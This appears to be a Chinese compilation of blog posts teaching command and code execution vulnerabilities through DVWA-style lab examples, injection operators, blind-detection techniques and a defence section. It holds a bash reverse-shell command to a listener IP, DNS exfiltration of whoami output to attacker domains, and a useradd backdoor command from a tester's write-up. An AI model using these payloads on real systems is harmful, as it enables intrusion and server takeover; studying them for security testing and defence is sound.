-
2022-03-01 16:15:50
普及内容
了解命令执行定义
了解命令执行条件
掌握命令执行成因
了解命令执行危害
掌握命令执行实例
掌握管道符号和通用命令符
了解命令执行常见场景基础概念
命令执行定义
基本定义
命令执行漏洞是指攻击者可以随意执行系统命令,分为远程命令执行(远程代码执行)和系统
命令执行两类
原理
程序应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命
令拼接到正常命令中,从而造成命令执行攻击。命令执行的条件
两个条件
用户能够控制的函数输入
存在可以执行代码或者系统命令的危险函数命令执行成因
命令执行漏洞产生的原因
由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端
可以提交恶意构造语句,并提交服务端执行
命令注入攻击中,Web服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击
成功的主要原因。命令执行危害
继承Web服务程序的权限去执行系统命令(任意代码)或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透命令执行实例
小马,动态、危险函数调用导致代码执行等
管道符号和通用命令符
>Linux
;前面的执行完执行后面的
|是管道符,显示后面的执行结果
||当前面的执行出错时执行后面的
>Windows
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的通用命令符
command1 && command2 command1执行成功才执行command2
command1 I command2 只执行command2
command1 & command2 command1和command2之间互相不影响命令执行常见场景
Ping主机
DNS请求
Office文档
框架缺陷更多相关内容 -
6-1远程命令、代码执行漏洞原理及案例演示
2022-05-21 20:45:43远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,就是我们的一些运维系统,可能会跟操作系统...RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,就是我们的一些运维系统,可能会跟操作系统打交道的,它可能从功能上就设计了一个能给用户、管理员,提供一个操作系统命令,来交互的一个功能 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台执行一些额外的操作,从而控制整个后台服务器,这就造成了远程系统命令执行漏洞 现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-
我们通过exec"ping"来了解一下,我们输入本地回环口的地址,127.0.0.1,提交之后,会给我们一个反馈
这是我们ping的结果,这是个正常的功能,那这个时候,后端没有做严格过滤的话,我们可以
127.0.0.1 & ipconfig
,当它执行完ping 127.0.0.1的时候,它会接着去执行ipconfig
它把ipconfig执行的结果,给展示了出来,那就意味着,这个地方,后端是没有做严格处理的,我们除了可以提交目标ID以外,我们还可以通过拼接的符号让它执行其它命令,这样的话,这个地方其实是很危险的,攻击者可以通过这个地方攻击操作系统
我们看一下exec的代码
通过post请求,获取到对应的ip地址,拿到这个IP地址之后,
if(stristr(php_uname('s'), 'windows'))
它会先判断一下是什么类型,
$result.=shell_exec('ping '.$ip);
如果是windows的,直接去ping,通过shell_exec函数,用它去执行操作系统的命令,
$result.=shell_exec('ping -c 4 '.$ip);
如果非windows系统的话,那就ping -c 4个数据包去ping
不管是windows还是linux,都是直接做个拼接,并没有在ip地址传进来的时候,进行一个处理,比如说,你可以判断一下它是不是IP地址,如果是一个真实的IP地址,才去ping,如果不是,就直接拒绝掉,它没有做这样的安全过滤,这样就导致攻击者可以拼接一个符号,来让这个输入变成两条命令,甚至多条命令,来让操作系统去执行,然后造成一些意想不到的结果
我们接下来看一下远程代码执行
远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,或者说,开发人员用了错误的方法,对用户输入的内容进行了处理,造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。 你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。
我们通过exec"evel"项目来看一下,我们随便输一个,qqq
我们在这里数个phpinfo();,然后点一下提交
我们发现输入的php代码,phpinfo();被后端执行了,然后相关的结果,返回前端了,这个地方就是远程代码执行的漏洞
我们来看一下后台的代码是怎么写的
把用户提交的请求内容,直接用eval执行,如果说,eval执行的时候,报错,就会返回message,如果没有报错,就不会进到if去,也就是把这串代码全部执行,前端会展示结果,这样子,这个地方就构成了远程代码执行的漏洞
根本原因是,它把用户输入进来的内容,没有做任何处理,然后就用了eval,这种比较危险的函数,去对用户进行处理,所以,就造成了远程代码执行的漏洞
不管是远程命令执行,还是远程代码执行,其实在我们实际的场景中,出现的情况可能千奇百怪,所以,我们这里也没有办法把案例拿出来一一讲,而实际上在很多开源的系统,或者说,商用的场景上,都出现过,这种远程命令执行、远程代码执行这样的漏洞,起根本原因是,没有对用户的输入做处理,直接参与到系统的交互中去,要么是使用一些危险的函数,或者说,一些错误的方法,来对用户输入的数据进行处理,从而导致rce这个问题,所以说,在我们应用的设计当中,对于,所有从前端输入进来的内容,我们一定要十分万分的去小心,一定要对它做相关的过滤,做相关的处理,比如实施严格的白名单等等,这样一些相关的措施
-
web渗透测试----9、命令执行漏洞
2021-01-18 20:54:53文章目录一、简介二、举例说明三、PHP命令执行实例一:命令执行实例二:代码执行实例三:动态函数调用实例四:PHP函数代码执行漏洞四、Java命令执行五、常见注入方式六、常见无回显的利用方式6.1、使用时间延迟检测...文章目录
一、简介
命令注入漏洞通常是通过注入恶意的命令参数,拼接原本正常的命令语句,达到执行恶意命令目的的一类漏洞。
系统命令是可以连接执行的,在没有做好对输入的过滤时,就可能导致攻击者执行其他的命令。命令执行漏洞和代码执行漏洞:
1、命令执行漏洞是直接调用操作系统命令,所以也叫做OS命令执行漏洞。
2、代码执行漏洞是靠执行脚本代码调用操作系统命令。例如:eval (system('set'););
二、举例说明
以DVWA为例:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
1、stristr(string,search,before_search) stristr() 函数搜索字符串在另一字符串中的第一次出现。 string:规定被搜索的字符串。 search:规定要搜索的字符串。 如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。 before_search:为可选参数,默认值为 "false"。如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分。 2、php_uname(mode) 返回运行php的操作系统的描述信息。 参数mode可取值: a :此为默认,包含序列”s n r v m”里的所有模式 s :返回操作系统名称 n:返回主机名 r:返回版本名称 v:返回版本信息 m:返回机器类型 3、shell_exec() 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。和php中的执行运算符反引号('')一致,都是将内容作为shell命令来执行,并将输出信息返回。
按照代码原本的含义,通过判断操作系统的不同,执行不同的ping命令。但是代码中并没有对用户输入的ip地址进行判断。导致了我们可以通过一些特殊字符去构造不一样的ip。
我们通过& |
或者其他变形,来让ip地址和我们想要执行的命令进行拼接。如127.0.0.1&&dir
三、PHP命令执行
PHP提供了部分函数用来执行外部应用程序,例如:system()、exec()、passthru()、shell_exec()等。
实例一:命令执行
<?php $host = $argv[1]; system("ping".$host); //执行ping命令 ?>
使用PHP.EXE执行此文件,命令为:
"php.exe cmd.php www.xxx.com"
,php将会调用系统ping命令,并将结果显示出来。如果此时攻击者拼接其他的系统命令,则可以获取到意想不到的结果:"php.exe cmd.php" | net user
。实例二:代码执行
PHP中提供了eval()函数,这个函数可以把字符串按照PHP格式来执行:即动态的执行PHP代码。使用eval()函数需要注意的是:输入的字符串必须是合法的PHP代码,且必须以分号结尾。
CMD.PHP中存在以下代码:<?php eval($_REQUEST['cmd'])?>
此时cmd可替换成一些我们想要执行的代码:如
http://www.xxx.com/cmd.php?cmd=phpinfo()
。页面将显示phpinfo的信息。
在ASP、ASP.NET、JAVA中,都有类似的函数或者方法可以动态的执行代码。
实例三:动态函数调用
<?php function A(){ return "A()函数..."; } function B(){ return "B()函数..."; } $fun = $_REQUEST["fun"]; echo $fun(); //动态调用函数 ?>
PHP解析器可以根据$fun的值来调用对应的函数,当变量$fun的值为“A”时,那么$fun()对应的函数为A(),此时便会出现问题,如果对fun指定内容,将会造成代码执行:如`http://www.xxx.com/function.php?fun=phpinfo()`。当$fun的值为phpinfo时,$fun()对应的函数为phpinfo()。
实例四:PHP函数代码执行漏洞
在php中,像preg_replace()、ob_start()、array_map()等函数都存在代码执行的问题,在此以array_map()函数为例:
<?php $arr = $_GET["arr"]; $array = array(1,2,3,4,5); $new_array = array_map($arr,$array); ?>
array_map()函数的作用是返回用户自定义函数处理后的数组,现在输入URL:
http://www.xxx.com/function.php?arr=phpinfo
后,回发现phpinfo代码已被执行。
四、Java命令执行
import java.io.InputStream; //导包 import jvva.io.InputStreamReader; import java.io.BufferedReader; public class RuntimeTest{ public static void main(String args[]) throws Exception{ if(args.length==0){ System.exit(1); //没有参数就退出 } String command = args[0]; Runtime run = Runtime.getRuntime(); Process pro = run.exec(command); //执行命令 InputStreamReader in = new InputStreamReader(pro.getInputStream()); BufferedReader buff = new BufferedReader(in); for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){ System.out,println(temp); //输出结果 } buff.close(); in.close(); } }
上面的代码经过编译后可以执行命令操作,如:java RuntimeTest “ls -l”,进行列文件操作。如果程序开发人员没有正确的使用Runtime类,就有可能造成Java命令执行漏洞。比如Struts2的命令执行漏洞。
五、常见注入方式
A & B,执行A的命令也执行B的命令; A && B,A执行成功的情况下执行B,A执行失败就不会执行B,和逻辑与一样; A | B,“|”为管道符,它将A执行的结果作为B的输入,因此无论A执行结果如何,都会执行B; A || B,在A执行失败的情况下执行B,A执行成功则不会执行B,和逻辑或一样; A;B,在Linux系统下会将shell1和shell2都执行; 基于unix的系统中: A `B`,B的执行结果会在A的报错信息中显示。 $() 是用来做命令替换的,内联执行。 换行符:\r\n、%d0、%a0 编码绕过
六、常见无回显的利用方式
6.1、使用时间延迟检测无回显命令注入
& ping -c 10 127.0.0.1 &
此命令将导致应用程序ping其回环网络10秒,通过这个时间延迟,我们可以判断是否存在命令注入。
我们在使用burpsuite工具输入命令的时候,由于burp中不能存在空格,可以变形为& ping+-c+10 127.0.0.1 &
。6.2、通过重定向输出来进行无回显命令注入
可以将注入命令的输出重定向到web根目录的文件中,然后我们可以使用浏览器进行访问。例如,应用程序文件系统位置/var/www/static,那么我们可以通过:
& whoami > /var/www/static/whoami.txt &
该>字符会将whoami命令的输出发送到指定的文件,利用浏览器访问http://xxx.xxx.com/whoami.txt查看。
6.3、利用带外通道技术(OOB)
6.3.1、可以使用注入的命令,使用 OAST 技术触发与系统的带外网络交互。例如:
& nslookup kgji2ohoyw.web-attacker.com &
使用nslookup命令对指定域进行 DNS 查找,从而检测到命令已成功注入。
1、使用Burp Suite Professional拦截和修改请求。
2、转到 Burp 菜单,然后启动Burp Collaborator 客户端。
3、单击copy to clipboard
将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。
4、修改注入点参数,将其更改为如下所示,在指示的位置插入 Burp Collaborator 子域:注入点=||nslookup+whoami
.YOUR-SUBDOMAIN-HERE.burpcollaborator.net||
5、返回 Burp Collaborator 客户端窗口,然后单击Poll now
。您应该会看到一些由应用程序启动的 DNS 交互,这些交互是负载的结果。如果没有看到列出的任何交互,等待几秒钟并重试,因为服务器端命令是异步执行的。
6、观察到命令的输出出现在交互的子域中,可以在 Burp Collaborator 客户端中查看它。查找的完整域名显示在交互的描述选项卡中。6.3.2、从注入的命令中提取输出
& nslookup `whoami`.xxx.xxx.com &
1、使用Burp Suite Professional拦截和修改请求。
2、转到 Burp 菜单,然后启动Burp Collaborator 客户端。
3、单击copy to clipboard
将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。
4、修改注入点参数,将其更改为如下所示,在指示的位置插入 Burp Collaborator 子域:注入点=||nslookup+whoami
.YOUR-SUBDOMAIN-HERE.burpcollaborator.net||
5、返回 Burp Collaborator 客户端窗口,然后单击Poll now
。您应该会看到一些由应用程序启动的 DNS 交互,这些交互是负载的结果。如果没有看到列出的任何交互,等待几秒钟并重试,因为服务器端命令是异步执行的。
6、观察到命令的输出出现在交互的子域中,可以在 Burp Collaborator 客户端中查看它。查找的完整域名显示在交互的描述选项卡中。6.4、bash反弹shell
bash -i >&/dev/tcp/192.168.172.22/1111 0>&1
①bash -i:是产生一个交互式的shell ②>&/dev/tcp/192.168.172.22/1111:建立TCP连接,并将标准输出或者错误重定向到TCP连接上(这里的ip换成自己监听机器的ip地址,端口号自定义) ③0>&1:从TCP连接获取输入 接下来在监听机器上执行 root@bogon:nc -lvp 1111
七、防御
1、不使用时禁用相应危险函数,或者控制函数的参数不被用户输入;
2、尽量不要执行外部的应用程序或命令;
3、转义命令中的所有shell元字符;
4、采用白名单、正则表达式进行过滤;
5、在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。
附件:一些常见语言的危险函数
1、PHP
system
escapeshellarg
escapeshellcmd
exec
passthru
proc_close
proc_get_status
proc_nice
proc_open
proc_terminate
shell_exec
system
2、Python
system
popen
subprocess.call
spawn
3、Java
java.lang.Runtime.getRuntime().exec(command) -
命令执行漏洞挖掘实例
2019-08-22 14:10:42这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下 一: 前期判断 看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看 输入127.0.0.1本地地址,发现能ping通 ...前言
这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下
一: 前期判断
看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看
输入127.0.0.1本地地址,发现能ping通
发现如果命令不正确或者ip地址不存在,返回包为false。因此即使存在命令执行的漏洞也无法回显。那这里就考虑用延时判断是不是存在命令执行漏洞二:判断是否存在命令执行注入
其实之前走了很多歪路,这里就不提了。ping命令有个参数,-c 表示icmp要发几个包。这里我们通过 修改-c 的数目,理论上-c的数值越大,那返回的时间越长
这里遇到第一个问题
添加参数报错,这里空格处通过%20替代,因为http包有url转码,所以%20到服务器端会解析为空格,成功绕过
-c 1 时,时间59毫秒
-c 2 ,时间为4086毫秒
从这里的话,就知道-c 这个参数已经带入成功,那在尝试拼接命令。拼接命令使用&&,&,|,||等,都试了,感觉不是很合适,因为前面命令一旦执行成功,页面上马上就回显回来,无法通过时间来判断。这里我使用分号;做拼接,分号后面都命令执行完之后,这个包才能判断true or false
尝试127.0.0.1 -c 1;sleep 1
这里 -c 参数不要太大,时间久了默认就false,sleep也不宜过大,只要能体现页面回显的时间变化就可以
t = 4086
127.0.0.1 -c 1;sleep 2
t = 8069
到这里就很明确,sleep命令已经执行成功,且存在命令执行注入漏洞三:通过命令执行注入获取服务器权限
这里也卡了一段时间,最后解决就很快。想过2个方法获得服务器权限。
一个的话通过一句话命令新增用户,到时候直接连服务器就可以。
如新建test:123456用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` test
另外一个就是反弹shell
bash -i >& /dev/tcp/192.168.96.111/4444 0>&1
但是呢,这两条命令都有特殊符号,特别像&,如果空格可以用%20绕过都话,其他字符在绕过上我还没啥思路,会报请求错误
到这里又卡了一下,难道命令注入找到了,却无法利用,这就有点尴尬了,后来忽然想起来,空格能通过url编码绕过,那整个请求参数值能做一遍url编码不是也可以嘛,试试看
开启监听
将编码后的参数替换,放包,虽然一直卡着,当监听的shell已经回来,成功拿到服务器权限
到这里就结束了,关于那第三节,不知道有没有不通过编码的绕过方式,如果有,感谢指教~
-
基础知识点|命令执行漏洞相关总结
2021-11-10 22:00:30命令执行漏洞是指攻击者可以随意执行系统命令。它属于高危漏洞之一,也属于代码执行的范畴。命令执行漏洞不仅仅存在于B/S架构中,在C/S架构中也常常遇到。 简单的说,用户通过浏览器提交执行命令,由于服务器端没有... -
命令执行漏洞
2021-07-10 13:01:08目录扫描,请求重发,漏洞扫描等工具的使用 网站信息收集及nmap的下载使用 SQL注入(1)——了解成因和手工注入方法 SQL注入(2)——各种注入 SQL注入(3)——SQLMAP SQL注入(4)——实战SQL注入拿webshell Vulnhub靶机... -
命令执行漏洞及防御
2018-10-22 20:20:35原理:只要程序可以调用系统命令的情况下都可以发生命令执行漏洞。 条件:用户能够控制函数输入,存在可以执行代码的危险函数。 命令执行漏洞产生原因: 开发人员没有对特殊函数入口做过滤,导致用户可以提交... -
【漏洞总结】远程命令执行漏洞分析
2021-08-23 20:52:112.1 fastjson 1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349) 漏洞原理 FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的... -
22 - vulhub - Fastjson 1.2.47 远程命令执行漏洞
2021-11-15 21:28:09Fastjson是阿里巴巴公司开源...fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。 因此在这里建议请及时更新至最新版本! -
结合dvwa靶场学习命令执行漏洞
2020-09-19 18:07:26命令执行漏洞概述 参考《web安全深度剖析》 一、概念 命令执行漏洞属于高危漏洞,指攻击者可以随意执行系统命令,它属于代码执行的范畴,不仅存在B/S架构中,也存在于C/S架构中。 二、分类 OS命令执行 部分Web应用... -
Sapido多款路由器命令执行漏洞
2021-03-09 17:12:20影响版本 BR270n-v2.1.03 BRC76n-v2.1.03 GR297-v2.1.3 RB1732-v2.0.43 漏洞实例 fofa搜索 app="Sapido-路由器" poc:ip/syscmd.htm 即可以输入命令执行 -
Fastjson v1.2.24远程命令执行漏洞复现
2021-09-28 16:52:17fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 漏洞环境 靶场选择使用vulhub搭建,网址:... -
SSRF利用HFS的远程命令执行漏洞(RCE)
2022-04-09 18:28:250x00SSRF漏洞介绍: SSRF漏洞(服务器端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够... -
Web安全-命令执行漏洞
2019-02-03 23:37:02命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常... -
Fastjson远程命令执行漏洞总结
2021-08-05 16:22:212.1 fastjson 1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349) 漏洞原理 FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的... -
fastjson 1.2.24 反序列化导致任意命令执行漏洞
2021-05-29 01:29:05fastjson 1.2.24 反序列化导致任意命令执行漏洞 fastjson 1.2.24 反序列化导致任意命令执行漏洞 fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过... -
一种无回显的远程命令执行漏洞的验证方法与流程
2021-05-14 13:10:46本发明属于信息技术领域,具体涉及一种无回显的远程命令执行漏洞的验证方法。背景技术:远程命令执行漏洞是一种常见的高危害级别的漏洞。通过这个漏洞,能够让攻击者在远程服务器上执行指定的命令。如whoami,cat/etc... -
渗透测试技术----常见web漏洞--命令执行原理及防御
2019-08-15 20:54:55一、命令执行漏洞介绍 1.命令执行漏洞简介 命令执行漏洞时指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一,也属于代码执行的范围内。 2.命令执行漏洞的原理 应用... -
fastjson1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
2021-07-24 18:55:19CVE-2017-18349漏洞原理 漏洞原理 -
Spring远程命令执行漏洞(CVE-2022-22965)原理分析和思考
2022-04-06 16:29:07上周网上爆出Spring框架存在RCE漏洞,野外流传了一小段时间后,Spring官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析,希望能够帮助到有相关有需要的人员进一步研究。... -
【OS命令注入】常见OS命令执行函数以及OS命令注入利用实例以及靶场实验—基于DVWA靶场
2022-05-21 09:48:58OS命令注入:当应用在调用这些系统命令函数时,如果将用户的输入作为系统命令的参数拼接到命令中,在没有过滤用户输入的情况下,就会造成命令执行漏洞。条件:漏洞危害:作用:该函数能够将字符串作为OS命令执行,... -
漏洞复现----6、Jenkins远程命令执行漏洞(CVE-2018-1000861)
2021-06-09 10:43:51文章目录一、Jenkins简介二、CVE-2018-1000861简介三、漏洞复现 一、Jenkins简介 Jenkins是一个独立的开源自动化服务器,由JAVA开发。 可用于自动化各种任务,如构建,测试和部署软件;也可以根据设定持续定期编译... -
ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析
2021-04-23 20:52:381漏洞利用方式5.0版本POC(不唯一)命令执行:?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]文件写入:?s=index/thinkapp/invokefunction&... -
REC代码及命令执行漏洞
2022-03-21 09:51:12REC代码及命令执行漏洞 1.RCE介绍 全称:remote command/code execute 分为远程命令执行和远程代码执行 1.命令执行漏洞: 直接调用操作系统命令 代码执行漏洞: 靠执行脚本代码调用操作系统命令 在Web应用中有... -
Apache log4j2 远程命令执行漏洞复现及修复方案
2021-12-14 22:42:53漏洞描述:Apache Log4j2 远程命令执行 时间:2021-11-26 漏洞详情:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 漏洞影响范围版本:2.0.beta9 to 2.14.1 2. 排查指导 查看引用了 log4j-api 和 ... -
XXL-JOB 针对未授权访问导致远程命令执行漏洞的声明
2020-10-31 10:05:22对于日前 XXL-JOB被各大云厂商报出存在远程命令执行漏洞的情况,XXL-JOB 作者表示此问题本质上不是“漏洞”,因为官网版本已提供鉴权组件,开启即可防护。具体回应如下: 该问题本质上不属于“漏洞”,官网版本... -
(环境搭建+复现) JumpServer 远程命令执行漏洞
2021-01-20 15:40:452021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。... -
命令执行和反序列化漏洞
2021-12-10 21:30:23命令与代码执行漏洞 1、远程系统命令执行:一般出现这种漏洞,是因为应用系统在设计上需要给用户提供指定的远程命令接口,比如我们常用的防火墙、路由器、入侵检测等设备的web管理页面上一般给用户提供一个ping操作...